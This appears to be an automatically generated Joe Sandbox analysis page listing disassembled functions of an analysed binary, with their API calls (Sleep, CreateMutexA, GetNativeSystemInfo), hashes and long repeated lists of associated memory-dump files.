Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2^
API String ID: 1464230837-4116150268
Opcode ID: 71cec22dce87026ce34c1128055edee5c9e764a20d526d642727664f6b4932c3
Instruction ID: 97e13ee95ca300e27711f2d01d19c3f4d2e53517d845eae33eaaa92f4578a279
Opcode Fuzzy Hash: 71cec22dce87026ce34c1128055edee5c9e764a20d526d642727664f6b4932c3
Instruction Fuzzy Hash: F6312A31A041019BFF18EBB8DCC976DBF72FBC5318F24461AE854AB2D6CB3599808712

Function 0058A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0058A963
CreateMutexA.KERNEL32(00000000,00000000,005E3254), ref: 0058A981

Strings

T2^, xrefs: 0058A970

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2^
API String ID: 1464230837-4116150268
Opcode ID: 56c49b53d6439bc35017edefcdc137e2b0404543655a0070b62a71b0f2d2639b
Instruction ID: d4a953d087cd9f0fb39a20b2fd5e593b430bdc20894a2b630b8dacdc4a43da08
Opcode Fuzzy Hash: 56c49b53d6439bc35017edefcdc137e2b0404543655a0070b62a71b0f2d2639b
Instruction Fuzzy Hash: DF312831A041009BFB08EBB8CD8976DBF72FBC1314F24861AE854FB2D6D73599808762

Function 00589ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0058A963
CreateMutexA.KERNEL32(00000000,00000000,005E3254), ref: 0058A981

Strings

T2^, xrefs: 0058A970

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2^
API String ID: 1464230837-4116150268
Opcode ID: ebd52331c806a4ddc152ee7ff545cc5c08b286501171bba50e3d1b4b858882f7
Instruction ID: 0bea13728710a050902a1c8126c94d6b03f8c2a1e01b8c4ebcc79136d28823f9
Opcode Fuzzy Hash: ebd52331c806a4ddc152ee7ff545cc5c08b286501171bba50e3d1b4b858882f7
Instruction Fuzzy Hash: CA2128317082419BFB18AB68DCC977CBB72FBC1314F24422AE844AB2D5CB7559418712

Function 0058A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0058A963
CreateMutexA.KERNEL32(00000000,00000000,005E3254), ref: 0058A981

Strings

T2^, xrefs: 0058A970

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2^
API String ID: 1464230837-4116150268
Opcode ID: b8adf2e4780d89f8ab358c79f87d1b98228248f889addf669d664784323894ae
Instruction ID: 2c9ca4fd910672668847d152fdb979f1c38f19c47ed2875cd6b735866eb89484
Opcode Fuzzy Hash: b8adf2e4780d89f8ab358c79f87d1b98228248f889addf669d664784323894ae
Instruction Fuzzy Hash: E82108312491019AFB2877A8888A73DBF62FBC5304F240817E984B62D2DA6699818763

Function 0058A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0058A963
CreateMutexA.KERNEL32(00000000,00000000,005E3254), ref: 0058A981

Strings

T2^, xrefs: 0058A970

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2^
API String ID: 1464230837-4116150268
Opcode ID: b00a22e18c9c4c8f6b543b30fce7859b781f4aca4f05766b7d425b07e56b15ad
Instruction ID: c350d453e39e5104e88ef2ce9c03554cebd9b9da17ddfd7ca9c076b578c1addc
Opcode Fuzzy Hash: b00a22e18c9c4c8f6b543b30fce7859b781f4aca4f05766b7d425b07e56b15ad
Instruction Fuzzy Hash: 242137317442019BFB18AB68DC8977CBF72FBD1314F24462EE844AB6D5CB7669808752

Function 00587D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00587ED3

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
